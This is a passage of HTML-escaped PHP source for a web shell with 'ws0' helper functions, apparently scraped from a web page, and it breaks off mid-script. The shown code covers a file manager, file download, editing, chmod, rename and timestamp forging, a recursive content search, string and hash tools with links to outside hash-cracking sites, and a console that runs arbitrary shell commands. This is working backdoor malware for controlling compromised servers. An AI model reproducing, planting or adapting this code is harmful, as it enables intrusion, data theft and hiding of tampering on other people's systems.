onclick=&#8221;g(\\&#8217;FilesTools\\&#8217;,null,\\&#8221;.urlencode($f[&#8216;name&#8217;]).&#8217;\\&#8217;, \\&#8217;download\\&#8217;)&#8221;&gt;D&lt;\/a&gt;&#8217;:&#8221;).'&lt;\/td&gt;&lt;\/tr&gt;&#8217;;<br \/>\n$l = $l?0:1;<br \/>\n}<br \/>\necho &#8220;&lt;tr&gt;&lt;td colspan=7&gt;<br \/>\n&lt;input type=hidden name=a value=&#8217;flmn&#8217;&gt;<br \/>\n&lt;input type=hidden name=c value='&#8221; . htmlspecialchars($GLOBALS[&#8216;cwd&#8217;]) .&#8221;&#8216;&gt;<br \/>\n&lt;input type=hidden name=charset value='&#8221;. (isset($_POST[&#8216;charset&#8217;])?$_POST[&#8216;charset&#8217;]:&#8221;).&#8221;&#8216;&gt;<br \/>\n&lt;select name=&#8217;p&#8217;.&#8217;1&#8242;&gt;&lt;option value=&#8217;copy&#8217;&gt;Copy&lt;\/option&gt;&lt;option value=&#8217;move&#8217;&gt;Move&lt;\/option&gt;&lt;option value=&#8217;delete&#8217;&gt;Delete&lt;\/option&gt;&#8221;;<br \/>\nif(class_exists(&#8216;ZipArchive&#8217;))<br \/>\necho &#8220;&lt;option value=&#8217;zip&#8217;&gt;Compress (zip)&lt;\/option&gt;&lt;option value=&#8217;unzip&#8217;&gt;Uncompress (zip)&lt;\/option&gt;&#8221;;<br \/>\necho &#8220;&lt;option value=&#8217;tar&#8217;&gt;Compress (tar.gz)&lt;\/option&gt;&#8221;;<br \/>\nif(!empty($_COOKIE[&#8216;act&#8217;]) &amp;&amp; @count($_COOKIE[&#8216;f&#8217;]))<br \/>\necho &#8220;&lt;option value=&#8217;paste&#8217;&gt;Paste \/ Compress&lt;\/option&gt;&#8221;;<br \/>\necho &#8220;&lt;\/select&gt;&amp;nbsp;&#8221;;<br \/>\nif(!empty($_COOKIE[&#8216;act&#8217;]) &amp;&amp; @count($_COOKIE[&#8216;f&#8217;]) &amp;&amp; (($_COOKIE[&#8216;act&#8217;] == &#8216;zip&#8217;) || ($_COOKIE[&#8216;act&#8217;] == &#8216;tar&#8217;)))<br \/>\necho &#8220;file name: &lt;input type=text name=p2 value=&#8217;ws0_&#8221; . date(&#8220;Ymd_His&#8221;) . &#8220;.&#8221; . ($_COOKIE[&#8216;act&#8217;] == &#8216;zip&#8217;?&#8217;zip&#8217;:&#8217;tar.gz&#8217;) . &#8220;&#8216;&gt;&amp;nbsp;&#8221;;<br \/>\necho &#8220;&lt;input type=&#8217;submit&#8217; value=&#8217;&gt;&gt;&#8217;&gt;&lt;\/td&gt;&lt;\/tr&gt;&lt;\/form&gt;&lt;\/table&gt;&lt;\/div&gt;&#8221;;<br \/>\nws0Footer();<br \/>\n}<\/p>\n<p>function actionStringTools() {<br \/>\nif(!function_exists(&#8216;hex2bin&#8217;)) {function hex2bin($p) {return decbin(hexdec($p));}}<br \/>\nif(!function_exists(&#8216;binhex&#8217;)) {function binhex($p) {return dechex(bindec($p));}}<br \/>\nif(!function_exists(&#8216;hex2ascii&#8217;)) {function hex2ascii($p){$r=&#8221;;for($i=0;$i&lt;strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}<br \/>\nif(!function_exists(&#8216;ascii2hex&#8217;)) {function ascii2hex($p){$r=&#8221;;for($i=0;$i&lt;strlen($p);++$i)$r.= sprintf(&#8216;%02X&#8217;,ord($p[$i]));return strtoupper($r);}}<br \/>\nif(!function_exists(&#8216;full_urlencode&#8217;)) {function full_urlencode($p){$r=&#8221;;for($i=0;$i&lt;strlen($p);++$i)$r.= &#8216;%&#8217;.dechex(ord($p[$i]));return strtoupper($r);}}<br \/>\n$stringTools = array(<br \/>\n&#8216;Base6 4 encode&#8217; =&gt; &#8216;base6&#8242;.&#8217;4_encode&#8217;,<br \/>\n&#8216;Base6 4 decode&#8217; =&gt; &#8216;base6&#8242;.&#8217;4_decode&#8217;,<br \/>\n&#8216;Url encode&#8217; =&gt; &#8216;urlencode&#8217;,<br \/>\n&#8216;Url decode&#8217; =&gt; &#8216;urldecode&#8217;,<br \/>\n&#8216;Full urlencode&#8217; =&gt; &#8216;full_urlencode&#8217;,<br \/>\n&#8216;md5 hash&#8217; =&gt; &#8216;md5&#8217;,<br \/>\n&#8216;sha1 hash&#8217; =&gt; &#8216;sha1&#8217;,<br \/>\n&#8216;crypt&#8217; =&gt; &#8216;crypt&#8217;,<br \/>\n&#8216;CRC32&#8217; =&gt; &#8216;crc32&#8217;,<br \/>\n&#8216;ASCII to HEX&#8217; =&gt; &#8216;ascii2hex&#8217;,<br \/>\n&#8216;HEX to ASCII&#8217; =&gt; &#8216;hex2ascii&#8217;,<br \/>\n&#8216;HEX to DEC&#8217; =&gt; &#8216;hexdec&#8217;,<br \/>\n&#8216;HEX to BIN&#8217; =&gt; &#8216;hex2bin&#8217;,<br \/>\n&#8216;DEC to HEX&#8217; =&gt; &#8216;dechex&#8217;,<br \/>\n&#8216;DEC to BIN&#8217; =&gt; &#8216;decbin&#8217;,<br \/>\n&#8216;BIN to HEX&#8217; =&gt; &#8216;binhex&#8217;,<br \/>\n&#8216;BIN to DEC&#8217; =&gt; &#8216;bindec&#8217;,<br \/>\n&#8216;String to lower case&#8217; =&gt; &#8216;strtolower&#8217;,<br \/>\n&#8216;String to upper case&#8217; =&gt; &#8216;strtoupper&#8217;,<br \/>\n&#8216;Htmlspecialchars&#8217; =&gt; &#8216;htmlspecialchars&#8217;,<br \/>\n&#8216;String length&#8217; =&gt; &#8216;strlen&#8217;,<br \/>\n);<br \/>\nif(isset($_POST[&#8216;ajax&#8217;])) {<br \/>\nws0setcookie(md5($_SERVER[&#8216;HTTP_HOST&#8217;]).&#8217;ajax&#8217;, true);<br \/>\nob_start();<br \/>\nif(in_array($_POST[&#8216;p&#8217;.&#8217;1&#8242;], $stringTools))<br \/>\necho $_POST[&#8216;p&#8217;.&#8217;1&#8242;]($_POST[&#8216;p&#8217;.&#8217;2&#8242;]);<br \/>\n$temp = &#8220;document.getElementById(&#8216;strOutput&#8217;).style.display=&#8221;;document.getElementById(&#8216;strOutput&#8217;).innerHTML='&#8221;.addcslashes(htmlspecialchars(ob_get_clean()),&#8221;\\n\\r\\t\\\\&#8217;\\0&#8243;).&#8221;&#8216;;\\n&#8221;;<br \/>\necho strlen($temp), &#8220;\\n&#8221;, $temp;<br \/>\nexit;<br \/>\n}<br \/>\nif(empty($_POST[&#8216;ajax&#8217;])&amp;&amp;!empty($_POST[&#8216;p&#8217;.&#8217;1&#8242;]))<br \/>\nws0setcookie(md5($_SERVER[&#8216;HTTP_HOST&#8217;]).&#8217;ajax&#8217;, 0);<br \/>\nws0Header();<br \/>\necho &#8216;&lt;h1&gt;String conversions&lt;\/h1&gt;&lt;div class=content&gt;&#8217;;<br \/>\necho &#8220;&lt;form name=&#8217;toolsForm&#8217; onSubmit=&#8217;if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;&#8217;&gt;&lt;select name=&#8217;selectTool&#8217;&gt;&#8221;;<br \/>\nforeach($stringTools as $k =&gt; $v)<br \/>\necho &#8220;&lt;option value='&#8221;.htmlspecialchars($v).&#8221;&#8216;&gt;&#8221;.$k.&#8221;&lt;\/option&gt;&#8221;;<br \/>\necho &#8220;&lt;\/select&gt;&lt;input type=&#8217;submit&#8217; value=&#8217;&gt;&gt;&#8217;\/&gt; &lt;input type=checkbox name=ajax value=1 &#8220;.(@$_COOKIE[md5($_SERVER[&#8216;HTTP_HOST&#8217;]).&#8217;ajax&#8217;]?&#8217;checked&#8217;:&#8221;).&#8221;&gt; send using AJAX&lt;br&gt;&lt;textarea name=&#8217;input&#8217; style=&#8217;margin-top:5px&#8217; class=bigarea&gt;&#8221;.(empty($_POST[&#8216;p&#8217;.&#8217;1&#8242;])?&#8221;:htmlspecialchars(@$_POST[&#8216;p&#8217;.&#8217;2&#8242;])).&#8221;&lt;\/textarea&gt;&lt;\/form&gt;&lt;pre class=&#8217;ml1&#8242; style='&#8221;.(empty($_POST[&#8216;p&#8217;.&#8217;1&#8242;])?&#8217;display:none;&#8217;:&#8221;).&#8221;margin-top:5px&#8217; id=&#8217;strOutput&#8217;&gt;&#8221;;<br \/>\nif(!empty($_POST[&#8216;p&#8217;.&#8217;1&#8242;])) {<br \/>\nif(in_array($_POST[&#8216;p&#8217;.&#8217;1&#8242;], $stringTools))echo htmlspecialchars($_POST[&#8216;p&#8217;.&#8217;1&#8242;]($_POST[&#8216;p&#8217;.&#8217;2&#8242;]));<br \/>\n}<br \/>\necho&#8221;&lt;\/pre&gt;&lt;\/div&gt;&lt;br&gt;&lt;h1&gt;Search files:&lt;\/h1&gt;&lt;div class=content&gt;<br \/>\n&lt;form onsubmit=\\&#8221;g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\\&#8221;&gt;&lt;table cellpadding=&#8217;1&#8242; cellspacing=&#8217;0&#8242; width=&#8217;50%&#8217;&gt;<br \/>\n&lt;tr&gt;&lt;td width=&#8217;1%&#8217;&gt;Text:&lt;\/td&gt;&lt;td&gt;&lt;input type=&#8217;text&#8217; name=&#8217;text&#8217; style=&#8217;width:100%&#8217;&gt;&lt;\/td&gt;&lt;\/tr&gt;<br \/>\n&lt;tr&gt;&lt;td&gt;Path:&lt;\/td&gt;&lt;td&gt;&lt;input type=&#8217;text&#8217; name=&#8217;cwd&#8217; value='&#8221;. htmlspecialchars($GLOBALS[&#8216;cwd&#8217;]) .&#8221;&#8216; style=&#8217;width:100%&#8217;&gt;&lt;\/td&gt;&lt;\/tr&gt;<br \/>\n&lt;tr&gt;&lt;td&gt;Name:&lt;\/td&gt;&lt;td&gt;&lt;input type=&#8217;text&#8217; name=&#8217;filename&#8217; value=&#8217;*&#8217; style=&#8217;width:100%&#8217;&gt;&lt;\/td&gt;&lt;\/tr&gt;<br \/>\n&lt;tr&gt;&lt;td&gt;&lt;\/td&gt;&lt;td&gt;&lt;input type=&#8217;submit&#8217; value=&#8217;&gt;&gt;&#8217;&gt;&lt;\/td&gt;&lt;\/tr&gt;<br \/>\n&lt;\/table&gt;&lt;\/form&gt;&#8221;;<\/p>\n<p>function ws0RecursiveGlob($path) {<br \/>\nif(substr($path, -1) != &#8216;\/&#8217;)<br \/>\n$path.=&#8217;\/&#8217;;<br \/>\n$paths = @array_unique(@array_merge(@glob($path.$_POST[&#8216;p&#8217;.&#8217;3&#8242;]), @glob($path.&#8217;*&#8217;, GLOB_ONLYDIR)));<br \/>\nif(is_array($paths)&amp;&amp;@count($paths)) {<br \/>\nforeach($paths as $item) {<br \/>\nif(@is_dir($item)){<br \/>\nif($path!=$item)<br \/>\nws0RecursiveGlob($item);<br \/>\n} else {<br \/>\nif(empty($_POST[&#8216;p&#8217;.&#8217;2&#8242;]) || @strpos(file_get_contents($item), $_POST[&#8216;p&#8217;.&#8217;2&#8242;])!==false)<br \/>\necho &#8220;&lt;a href=&#8217;#&#8217; onclick=&#8217;g(\\&#8221;FilesTools\\&#8221;,null,\\&#8221;&#8221;.urlencode($item).&#8221;\\&#8221;, \\&#8221;view\\&#8221;,\\&#8221;\\&#8221;)&#8217;&gt;&#8221;.htmlspecialchars($item).&#8221;&lt;\/a&gt;&lt;br&gt;&#8221;;<br \/>\n}<br \/>\n}<br \/>\n}<br \/>\n}<br \/>\nif(@$_POST[&#8216;p&#8217;.&#8217;3&#8242;])<br \/>\nws0RecursiveGlob($_POST[&#8216;c&#8217;]);<br \/>\necho &#8220;&lt;\/div&gt;&lt;br&gt;&lt;h1&gt;Search for hash:&lt;\/h1&gt;&lt;div class=content&gt;<br \/>\n&lt;form method=&#8217;post&#8217; target=&#8217;_blank&#8217; name=&#8217;hf&#8217;&gt;<br \/>\n&lt;input type=&#8217;text&#8217; name=&#8217;hash&#8217; style=&#8217;width:200px;&#8217;&gt;&lt;br&gt;<br \/>\n&lt;input type=&#8217;hidden&#8217; name=&#8217;act&#8217; value=&#8217;find&#8217;\/&gt;<br \/>\n&lt;input type=&#8217;button&#8217; value=&#8217;hashcracking.ru&#8217; onclick=\\&#8221;document.hf.action=&#8217;https:\/\/hashcracking.ru\/index.php&#8217;;document.hf.submit()\\&#8221;&gt;&lt;br&gt;<br \/>\n&lt;input type=&#8217;button&#8217; value=&#8217;md5.rednoize.com&#8217; onclick=\\&#8221;document.hf.action=&#8217;http:\/\/md5.rednoize.com\/?q=&#8217;+document.hf.hash.value+&#8217;&amp;s=md5&#8242;;document.hf.submit()\\&#8221;&gt;&lt;br&gt;<br \/>\n&lt;\/form&gt;&lt;\/div&gt;&#8221;;<br \/>\nws0Footer();<br \/>\n}<\/p>\n<p>function actionFilesTools() {<br \/>\nif( isset($_POST[&#8216;p&#8217;.&#8217;1&#8242;]) )<br \/>\n$_POST[&#8216;p&#8217;.&#8217;1&#8242;] = urldecode($_POST[&#8216;p&#8217;.&#8217;1&#8242;]);<br \/>\nif(@$_POST[&#8216;p&#8217;.&#8217;2&#8242;]==&#8217;download&#8217;) {<br \/>\nif(@is_file($_POST[&#8216;p&#8217;.&#8217;1&#8242;]) &amp;&amp; @is_readable($_POST[&#8216;p&#8217;.&#8217;1&#8242;])) {<br \/>\nob_start(&#8220;ob_gzhandler&#8221;, 4096);<br \/>\nheader(&#8220;Content-Disposition: attachment; filename=&#8221;.basename($_POST[&#8216;p&#8217;.&#8217;1&#8242;]));<br \/>\nif (function_exists(&#8220;mime_content_type&#8221;)) {<br \/>\n$type = @mime_content_type($_POST[&#8216;p&#8217;.&#8217;1&#8242;]);<br \/>\nheader(&#8220;Content-Type: &#8221; . $type);<br \/>\n} else<br \/>\nheader(&#8220;Content-Type: application\/octet-stream&#8221;);<br \/>\n$fp = @fopen($_POST[&#8216;p&#8217;.&#8217;1&#8242;], &#8220;r&#8221;);<br \/>\nif($fp) {<br \/>\nwhile(!@feof($fp))<br \/>\necho @fread($fp, 1024);<br \/>\nfclose($fp);<br \/>\n}<br \/>\n}exit;<br \/>\n}<br \/>\nif( @$_POST[&#8216;p&#8217;.&#8217;2&#8242;] == &#8216;mkfile&#8217; ) {<br \/>\nif(!file_exists($_POST[&#8216;p&#8217;.&#8217;1&#8242;])) {<br \/>\n$fp = @fopen($_POST[&#8216;p&#8217;.&#8217;1&#8242;], &#8216;w&#8217;);<br \/>\nif($fp) {<br \/>\n$_POST[&#8216;p&#8217;.&#8217;2&#8242;] = &#8220;edit&#8221;;<br \/>\nfclose($fp);<br \/>\n}<br \/>\n}<br \/>\n}<br \/>\nws0Header();<br \/>\necho &#8216;&lt;h1&gt;File tools&lt;\/h1&gt;&lt;div class=content&gt;&#8217;;<br \/>\nif( !file_exists(@$_POST[&#8216;p&#8217;.&#8217;1&#8242;]) ) {<br \/>\necho &#8216;File not exists&#8217;;<br \/>\nws0Footer();<br \/>\nreturn;<br \/>\n}<br \/>\n$uid = @posix_getpwuid(@fileowner($_POST[&#8216;p&#8217;.&#8217;1&#8242;]));<br \/>\nif(!$uid) {<br \/>\n$uid[&#8216;name&#8217;] = @fileowner($_POST[&#8216;p&#8217;.&#8217;1&#8242;]);<br \/>\n$gid[&#8216;name&#8217;] = @filegroup($_POST[&#8216;p&#8217;.&#8217;1&#8242;]);<br \/>\n} else $gid = @posix_getgrgid(@filegroup($_POST[&#8216;p&#8217;.&#8217;1&#8242;]));<br \/>\necho &#8216;&lt;span&gt;Name:&lt;\/span&gt; &#8216;.htmlspecialchars(@basename($_POST[&#8216;p&#8217;.&#8217;1&#8242;])).&#8217; &lt;span&gt;Size:&lt;\/span&gt; &#8216;.(is_file($_POST[&#8216;p&#8217;.&#8217;1&#8242;])?ws0ViewSize(filesize($_POST[&#8216;p&#8217;.&#8217;1&#8242;])):&#8217;-&#8216;).&#8217; &lt;span&gt;Permission:&lt;\/span&gt; &#8216;.ws0PermsColor($_POST[&#8216;p&#8217;.&#8217;1&#8242;]).&#8217; &lt;span&gt;Owner\/Group:&lt;\/span&gt; &#8216;.$uid[&#8216;name&#8217;].&#8217;\/&#8217;.$gid[&#8216;name&#8217;].'&lt;br&gt;&#8217;;<br \/>\necho &#8216;&lt;span&gt;Change time:&lt;\/span&gt; &#8216;.date(&#8216;Y-m-d H:i:s&#8217;,filectime($_POST[&#8216;p&#8217;.&#8217;1&#8242;])).&#8217; &lt;span&gt;Access time:&lt;\/span&gt; &#8216;.date(&#8216;Y-m-d H:i:s&#8217;,fileatime($_POST[&#8216;p&#8217;.&#8217;1&#8242;])).&#8217; &lt;span&gt;Modify time:&lt;\/span&gt; &#8216;.date(&#8216;Y-m-d H:i:s&#8217;,filemtime($_POST[&#8216;p&#8217;.&#8217;1&#8242;])).'&lt;br&gt;&lt;br&gt;&#8217;;<br \/>\nif( empty($_POST[&#8216;p&#8217;.&#8217;2&#8242;]) )<br \/>\n$_POST[&#8216;p&#8217;.&#8217;2&#8242;] = &#8216;view&#8217;;<br \/>\nif( is_file($_POST[&#8216;p&#8217;.&#8217;1&#8242;]) )<br \/>\n$m = array(&#8216;View&#8217;, &#8216;Highlight&#8217;, &#8216;Download&#8217;, &#8216;Hexdump&#8217;, &#8216;Edit&#8217;, &#8216;Chmod&#8217;, &#8216;Rename&#8217;, &#8216;Touch&#8217;);<br \/>\nelse<br \/>\n$m = array(&#8216;Chmod&#8217;, &#8216;Rename&#8217;, &#8216;Touch&#8217;);<br \/>\nforeach($m as $v)<br \/>\necho &#8216;&lt;a href=# onclick=&#8221;g(null,null,\\&#8221; . urlencode($_POST[&#8216;p&#8217;.&#8217;1&#8242;]) . &#8216;\\&#8217;,\\&#8221;.strtolower($v).&#8217;\\&#8217;)&#8221;&gt;&#8217;.((strtolower($v)==@$_POST[&#8216;p&#8217;.&#8217;2&#8242;])?'&lt;b&gt;[ &#8216;.$v.&#8217; ]&lt;\/b&gt;&#8217;:$v).'&lt;\/a&gt; &#8216;;<br \/>\necho &#8216;&lt;br&gt;&lt;br&gt;&#8217;;<br \/>\nswitch($_POST[&#8216;p&#8217;.&#8217;2&#8242;]) {<br \/>\ncase &#8216;view&#8217;:<br \/>\necho &#8216;&lt;pre class=ml1&gt;&#8217;;<br \/>\n$fp = @fopen($_POST[&#8216;p&#8217;.&#8217;1&#8242;], &#8216;r&#8217;);<br \/>\nif($fp) {<br \/>\nwhile( !@feof($fp) )<br \/>\necho htmlspecialchars(@fread($fp, 1024));<br \/>\n@fclose($fp);<br \/>\n}<br \/>\necho &#8216;&lt;\/pre&gt;&#8217;;<br \/>\nbreak;<br \/>\ncase &#8216;highlight&#8217;:<br \/>\nif( @is_readable($_POST[&#8216;p&#8217;.&#8217;1&#8242;]) ) {<br \/>\necho &#8216;&lt;div class=ml1 style=&#8221;background-color: #e1e1e1;color:black;&#8221;&gt;&#8217;;<br \/>\n$code = @highlight_file($_POST[&#8216;p&#8217;.&#8217;1&#8242;],true);<br \/>\necho str_replace(array(&#8216;&lt;span &#8216;,'&lt;\/span&gt;&#8217;), array(&#8216;&lt;font &#8216;,'&lt;\/font&gt;&#8217;),$code).'&lt;\/div&gt;&#8217;;<br \/>\n}<br \/>\nbreak;<br \/>\ncase &#8216;chmod&#8217;:<br \/>\nif( !empty($_POST[&#8216;p&#8217;.&#8217;3&#8242;]) ) {<br \/>\n$perms = 0;<br \/>\nfor($i=strlen($_POST[&#8216;p&#8217;.&#8217;3&#8242;])-1;$i&gt;=0;&#8211;$i)<br \/>\n$perms += (int)$_POST[&#8216;p&#8217;.&#8217;3&#8242;][$i]*pow(8, (strlen($_POST[&#8216;p&#8217;.&#8217;3&#8242;])-$i-1));<br \/>\nif(!@chmod($_POST[&#8216;p&#8217;.&#8217;1&#8242;], $perms))<br \/>\necho &#8216;Can\\&#8217;t set permissions!&lt;br&gt;&lt;script&gt;document.mf.p3.value=&#8221;&#8221;;&lt;\/script&gt;&#8217;;<br \/>\n}<br \/>\nclearstatcache();<br \/>\necho &#8216;&lt;script&gt;p3_=&#8221;&#8221;;&lt;\/script&gt;&lt;form onsubmit=&#8221;g(null,null,\\&#8221; . urlencode($_POST[&#8216;p&#8217;.&#8217;1&#8242;]) . &#8216;\\&#8217;,null,this.chmod.value);return false;&#8221;&gt;&lt;input type=text name=chmod value=&#8221;&#8216;.substr(sprintf(&#8216;%o&#8217;, fileperms($_POST[&#8216;p&#8217;.&#8217;1&#8242;])),-4).'&#8221;&gt;&lt;input type=submit value=&#8221;&gt;&gt;&#8221;&gt;&lt;\/form&gt;&#8217;;<br \/>\nbreak;<br \/>\ncase &#8216;edit&#8217;:<br \/>\nif( !is_writable($_POST[&#8216;p&#8217;.&#8217;1&#8242;])) {<br \/>\necho &#8216;File isn\\&#8217;t writeable&#8217;;<br \/>\nbreak;<br \/>\n}<br \/>\nif( !empty($_POST[&#8216;p&#8217;.&#8217;3&#8242;]) ) {<br \/>\n$time = @filemtime($_POST[&#8216;p&#8217;.&#8217;1&#8242;]);<br \/>\n$_POST[&#8216;p&#8217;.&#8217;3&#8242;] = substr($_POST[&#8216;p&#8217;.&#8217;3&#8242;],1);<br \/>\n$fp = @fopen($_POST[&#8216;p&#8217;.&#8217;1&#8242;],&#8221;w&#8221;);<br \/>\nif($fp) {<br \/>\n@fwrite($fp,$_POST[&#8216;p&#8217;.&#8217;3&#8242;]);<br \/>\n@fclose($fp);<br \/>\necho &#8216;Saved!&lt;br&gt;&lt;script&gt;p3_=&#8221;&#8221;;&lt;\/script&gt;&#8217;;<br \/>\n@touch($_POST[&#8216;p&#8217;.&#8217;1&#8242;],$time,$time);<br \/>\n}<br \/>\n}<br \/>\necho &#8216;&lt;form onsubmit=&#8221;g(null,null,\\&#8221; . urlencode($_POST[&#8216;p&#8217;.&#8217;1&#8242;]) . &#8216;\\&#8217;,null,\\&#8217;1\\&#8217;+this.text.value);return false;&#8221;&gt;&lt;textarea name=text class=bigarea&gt;&#8217;;<br \/>\n$fp = @fopen($_POST[&#8216;p&#8217;.&#8217;1&#8242;], &#8216;r&#8217;);<br \/>\nif($fp) {<br \/>\nwhile( !@feof($fp) )<br \/>\necho htmlspecialchars(@fread($fp, 1024));<br \/>\n@fclose($fp);<br \/>\n}<br \/>\necho &#8216;&lt;\/textarea&gt;&lt;input type=submit value=&#8221;&gt;&gt;&#8221;&gt;&lt;\/form&gt;&#8217;;<br \/>\nbreak;<br \/>\ncase &#8216;hexdump&#8217;:<br \/>\n$c = @file_get_contents($_POST[&#8216;p&#8217;.&#8217;1&#8242;]);<br \/>\n$n = 0;<br \/>\n$h = array(&#8216;00000000&lt;br&gt;&#8217;,&#8221;,&#8221;);<br \/>\n$len = strlen($c);<br \/>\nfor ($i=0; $i&lt;$len; ++$i) {<br \/>\n$h[1] .= sprintf(&#8216;%02X&#8217;,ord($c[$i])).&#8217; &#8216;;<br \/>\nswitch ( ord($c[$i]) ) {<br \/>\ncase 0: $h[2] .= &#8216; &#8216;; break;<br \/>\ncase 9: $h[2] .= &#8216; &#8216;; break;<br \/>\ncase 10: $h[2] .= &#8216; &#8216;; break;<br \/>\ncase 13: $h[2] .= &#8216; &#8216;; break;<br \/>\ndefault: $h[2] .= $c[$i]; break;<br \/>\n}<br \/>\n$n++;<br \/>\nif ($n == 32) {<br \/>\n$n = 0;<br \/>\nif ($i+1 &lt; $len) {$h[0] .= sprintf(&#8216;%08X&#8217;,$i+1).'&lt;br&gt;&#8217;;}<br \/>\n$h[1] .= &#8216;&lt;br&gt;&#8217;;<br \/>\n$h[2] .= &#8220;\\n&#8221;;<br \/>\n}<br \/>\n}<br \/>\necho &#8216;&lt;table cellspacing=1 cellpadding=5 bgcolor=#222222&gt;&lt;tr&gt;&lt;td bgcolor=#333333&gt;&lt;span style=&#8221;font-weight: normal;&#8221;&gt;&lt;pre&gt;&#8217;.$h[0].'&lt;\/pre&gt;&lt;\/span&gt;&lt;\/td&gt;&lt;td bgcolor=#282828&gt;&lt;pre&gt;&#8217;.$h[1].'&lt;\/pre&gt;&lt;\/td&gt;&lt;td bgcolor=#333333&gt;&lt;pre&gt;&#8217;.htmlspecialchars($h[2]).'&lt;\/pre&gt;&lt;\/td&gt;&lt;\/tr&gt;&lt;\/table&gt;&#8217;;<br \/>\nbreak;<br \/>\ncase &#8216;rename&#8217;:<br \/>\nif( !empty($_POST[&#8216;p&#8217;.&#8217;3&#8242;]) ) {<br \/>\nif(!@rename($_POST[&#8216;p&#8217;.&#8217;1&#8242;], $_POST[&#8216;p&#8217;.&#8217;3&#8242;]))<br \/>\necho &#8216;Can\\&#8217;t rename!&lt;br&gt;&#8217;;<br \/>\nelse<br \/>\ndie(&#8216;&lt;script&gt;g(null,null,&#8221;&#8216;.urlencode($_POST[&#8216;p&#8217;.&#8217;3&#8242;]).'&#8221;,null,&#8221;&#8221;)&lt;\/script&gt;&#8217;);<br \/>\n}<br \/>\necho &#8216;&lt;form onsubmit=&#8221;g(null,null,\\&#8221; . urlencode($_POST[&#8216;p&#8217;.&#8217;1&#8242;]) . &#8216;\\&#8217;,null,this.name.value);return false;&#8221;&gt;&lt;input type=text name=name value=&#8221;&#8216;.htmlspecialchars($_POST[&#8216;p&#8217;.&#8217;1&#8242;]).'&#8221;&gt;&lt;input type=submit value=&#8221;&gt;&gt;&#8221;&gt;&lt;\/form&gt;&#8217;;<br \/>\nbreak;<br \/>\ncase &#8216;touch&#8217;:<br \/>\nif( !empty($_POST[&#8216;p&#8217;.&#8217;3&#8242;]) ) {<br \/>\n$time = strtotime($_POST[&#8216;p&#8217;.&#8217;3&#8242;]);<br \/>\nif($time) {<br \/>\nif(!touch($_POST[&#8216;p&#8217;.&#8217;1&#8242;],$time,$time))<br \/>\necho &#8216;Fail!&#8217;;<br \/>\nelse<br \/>\necho &#8216;Touched!&#8217;;<br \/>\n} else echo &#8216;Bad time format!&#8217;;<br \/>\n}<br \/>\nclearstatcache();<br \/>\necho &#8216;&lt;script&gt;p3_=&#8221;&#8221;;&lt;\/script&gt;&lt;form onsubmit=&#8221;g(null,null,\\&#8221; . urlencode($_POST[&#8216;p&#8217;.&#8217;1&#8242;]) . &#8216;\\&#8217;,null,this.touch.value);return false;&#8221;&gt;&lt;input type=text name=touch value=&#8221;&#8216;.date(&#8220;Y-m-d H:i:s&#8221;, @filemtime($_POST[&#8216;p&#8217;.&#8217;1&#8242;])).'&#8221;&gt;&lt;input type=submit value=&#8221;&gt;&gt;&#8221;&gt;&lt;\/form&gt;&#8217;;<br \/>\nbreak;<br \/>\n}<br \/>\necho &#8216;&lt;\/div&gt;&#8217;;<br \/>\nws0Footer();<br \/>\n}<\/p>\n<p>function actionConsole() {<br \/>\nif(!empty($_POST[&#8216;p&#8217;.&#8217;1&#8242;]) &amp;&amp; !empty($_POST[&#8216;p&#8217;.&#8217;2&#8242;])) {<br \/>\nws0setcookie(md5($_SERVER[&#8216;HTTP_HOST&#8217;]).&#8217;stderr_to_out&#8217;, true);<br \/>\n$_POST[&#8216;p&#8217;.&#8217;1&#8242;] .= &#8216; 2&gt;&amp;1&#8217;;<br \/>\n} elseif(!empty($_POST[&#8216;p&#8217;.&#8217;1&#8242;]))<br \/>\nws0setcookie(md5($_SERVER[&#8216;HTTP_HOST&#8217;]).&#8217;stderr_to_out&#8217;, 0);<\/p>\n<p>if(isset($_POST[&#8216;ajax&#8217;])) {<br \/>\nws0setcookie(md5($_SERVER[&#8216;HTTP_HOST&#8217;]).&#8217;ajax&#8217;, true);<br \/>\nob_start();<br \/>\necho &#8220;d.cf.cmd.value=&#8221;;\\n&#8221;;<br \/>\n$temp = @iconv($_POST[&#8216;charset&#8217;], &#8216;UTF-8&#8217;, addcslashes(&#8220;\\n$ &#8220;.$_POST[&#8216;p&#8217;.&#8217;1&#8242;].&#8221;\\n&#8221;.ws0Ex($_POST[&#8216;p&#8217;.&#8217;1&#8242;]),&#8221;\\n\\r\\t\\\\&#8217;\\0&#8243;));<br \/>\nif(preg_match(&#8220;!.*cd\\s+([^;]+)$!&#8221;,$_POST[&#8216;p&#8217;.&#8217;1&#8242;],$match)) {<br \/>\nif(@chdir($match[1])) {<br \/>\n$GLOBALS[&#8216;cwd&#8217;] = @getcwd();<br \/>\necho &#8220;c_='&#8221;.$GLOBALS[&#8216;cwd&#8217;].&#8221;&#8216;;&#8221;;<br \/>\n}<br \/>\n}<br \/>\necho &#8220;d.cf.output.value+='&#8221;.$temp.&#8221;&#8216;;&#8221;;<br \/>\necho &#8220;d.cf.output.scrollTop = d.cf.output.scrollHeight;&#8221;;<br \/>\n$temp = ob_get_clean();<br \/>\necho strlen($temp), &#8220;\\n&#8221;, $temp;<br \/>\nexit;<br \/>\n}<br \/>\nif(empty($_POST[&#8216;ajax&#8217;])&amp;&amp;!empty($_POST[&#8216;p&#8217;.&#8217;1&#8242;]))<br \/>\nws0setcookie(md5($_SERVER[&#8216;HTTP_HOST&#8217;]).&#8217;ajax&#8217;, 0);<br \/>\nws0Header();<br \/>\necho &#8220;&lt;script&gt;<br \/>\nif(window.Event) window.captureEvents(Event.KEYDOWN);<br \/>\nvar cmds = new Array(&#8221;);<br \/>\nvar cur = 0;<br \/>\nfunction kp(e) {<br \/>\nvar n = (window.Event) ? e.which : e.keyCode;<br \/>\nif(n == 38) {<br \/>\ncur&#8211;;<br \/>\nif(cur&gt;=0)<br \/>\ndocument.cf.cmd.value = cmds[cur];<br \/>\nelse<br \/>\ncur++;<br \/>\n} else if(n == 40) {<br \/>\ncur++;<br \/>\nif(cur &lt; cmds.length)<br \/>\ndocument.cf.cmd.value = cmds[cur];<br \/>\nelse<br \/>\ncur&#8211;;<br \/>\n}<br \/>\n}<br \/>\nfunction add(cmd) {<br \/>\ncmds.pop();<br \/>\ncmds.push(cmd);<br \/>\ncmds.push(&#8221;);<br \/>\ncur = cmds.length-1;<br 